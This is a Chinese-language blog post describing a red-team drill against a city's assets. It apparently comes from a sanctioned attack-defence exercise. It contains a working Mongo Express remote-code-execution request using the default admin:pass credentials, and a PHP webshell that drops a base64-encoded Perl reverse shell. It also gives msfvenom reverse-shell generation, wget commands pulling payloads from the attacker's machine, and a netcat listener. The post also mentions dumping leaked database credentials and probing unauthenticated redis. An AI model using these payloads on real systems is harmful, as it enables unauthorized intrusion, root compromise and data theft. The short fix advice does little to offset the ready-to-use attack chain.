0x1 前言
哈喽,师傅们!
这次给师傅们分享的是上上个星期的地级市护网的攻防演练的两个案例,涉及到的知识点可能比较偏,下面我也会提前给师傅们拓展下改漏洞相关的知识点内容。护网攻防演练中,涉及到的很多敏感内容这里会进行打码操作,然后这里简单给师傅们分享下两个攻防演练中的真实案例,也让没有打过红队攻防演练的师傅们学习下,感受下思路过程。
0x2 资产测绘
1、确定目标资产
在进行攻防演练之前,开始就是进行资产的划分了,我们有两支红队,然后每个队伍都划分不一样的资产目标,然后再在每个队伍里面划分每个人的任务安排,下面的信息资产收集调研表就是我所分配的一部分资产
2、域名/子域名收集
这里我先把这些域名收集好,把他们都放到一个txt文件里面,然后再使用我们的然后使用oneforall收集改目标站点的子域名
然后跑完以后,结果会在result文件 里面
然后再使用exec表进行筛选状态码为200的域名,且再进行域名和IP去重的操作,为了后面减少测试的工作量
3、URL指纹探测
收集完上面的IP和域名以及子域名,然后就可以使用无影这款工具进行URL指纹探测,看看存在哪些可以利用,或者可以攻击的点
或者还可以使用密探这款工具进行指纹识别等操作,都很简单,半自动化扫描
然后再根据上面探测到的信息上网查找相关打点的方法,然后再进行一波渗透测试的操作
0x3 攻防演练案例一
kkFileView漏洞简介
•kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,基本支持主流办公文档的在线预览。
•近期,网宿安全演武实验室监测到kkFileView存在远程代码执行漏洞(网宿评分:危急,CVSS3.1评分:9.8):远程攻击者无需身份认证,即可利用该漏洞覆盖任意⽂件,再调用被覆盖的文件实现远程代码执行。
•目前该漏洞POC状态及EXP状态已在互联网公开,建议客户尽快做好自查及防护。
kkFileView漏洞实操
通过对上面的IP和域名进行url探测,发现了kkFileView框架,这个漏洞我之前挖src的时候遇到过,所以我也是拿去直接访问这个IP,然后看看kkFileView相关的nday漏洞能不能利用
很开心,直接访问成功了,是个200页面,里面的功能看着满齐全的,看着怪老的,感觉是可以打一波nday的
然后再使用Wappalyzer插件看看这个站点的开发语言和框架等信息
这个资产打的很轻松,直接使用网上的POC以及一些漏洞的复现进行测试
发现可以任意文件读取、XSS漏洞以及文件上传和文件包含打一波组合拳等等,我就不一一演示了
0x4 攻防演练案例二
Mongo Express简介
1.Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。
2.漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。
3.mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass
),则可以执行任意node.js代码。
Mongo Express漏洞实操
还是拿无影来看这个url探测的内容,然后看到了Mongo Express,这是MongoDB的一个历史框架漏洞
这里一般Mongo Express这个框架的web管理页面的默认登录账户密码是admin:pass
,但是这个IP访问直接免密码登录,直接未授权进去了
然后里面有很多的文件,都可以导出来
这里直接从后台泄露的文件里面找到MongoDB的数据库账户密码
还有这个站点的所以登录操作的日志记录都可以下载下来
使用wappalyzer插件进行查看,发现是Express的web框架以及使用Node.js语言编写的,则可以执行任意node.js代码。
下面是我从微信公众号找到的专门针对于Mongo Express漏洞框架的POC,可以实现远程命令执行
POST /checkValid HTTP/1.1Host: 目标资产的IP:端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping 3apk66.dnslog.cn
")
可以看到我们的bp数据包,这里显示执行成功了,那么我们再看看我们的dnslog有没有成功回显
可以看到我们这里的dnslog成功回显了,这里成功可以远程命令执行
拿root权限
我这里先使用kali进行测试,看看能不能ping通目标IP
发现可以ping通目标IP,那么我这里当时想的就是既然可以进行执行远程代码,那么是不是可以执行反弹shell操作呢?
这里给师傅们分享一个我平常经常在打攻防使用的一个webshell木马
<?phpfunction which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "kali的IP";
$yourport = 'kali的监听端口';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
只需要修改下面的这两个地方即可,使用修改起来都很方便
因为不知道上面的目标站点会不会解析php木马,所以我这里再使用kali的msfvenom命令生成py脚本执行
msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.128 LPORT=4444 -f raw > webshell.py
img
先在本地利用python开启一个http服务,然后再使用刚才bp抓包的bp数据包进行修改,修改里面的命令执行的代码,然后下载到目标的/tmp目录下
python3 -m http.server 81
然后再使用bp下载两个webshell的脚本文件,一个php文件和一个py的脚本执行文件
wget http://10.10.10.128:81/webshell.py -O /tmp/shellwget http://10.10.10.128:81/webshell.php -O /tmp/shell
kali上监听4444端口
nc -lvvp 4444
这里测试发现webshell.py脚本可以成功反弹shell,并且成功拿到了改目标资产站点的root权限,这个站点之间打穿了
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")
修复建议
1.及时升级漏洞组件 2.不要使MongoExpres服务暴露在公网上 3.修改默认登录密码admin:pass
redis未授权访问
上面的这个站点存在Mongo Express未授权登录漏洞,那么下面我这里猜测可能还会存在别的未授权,所以这里通过测试发现这里这个站点还存在6379redis未授权访问漏洞
这里尝试使用nc连接6379端口的redis服务,看看能不能免密钥登录,直接未授权访问
师傅们,可以看到确实存在redis未授权访问漏洞,直接info可以看到里面的很多主机的信息
0x5 总结
后面的细节就不给师傅们演示了,后面就是拿到漏洞,然后进行疯狂拿分就ok了。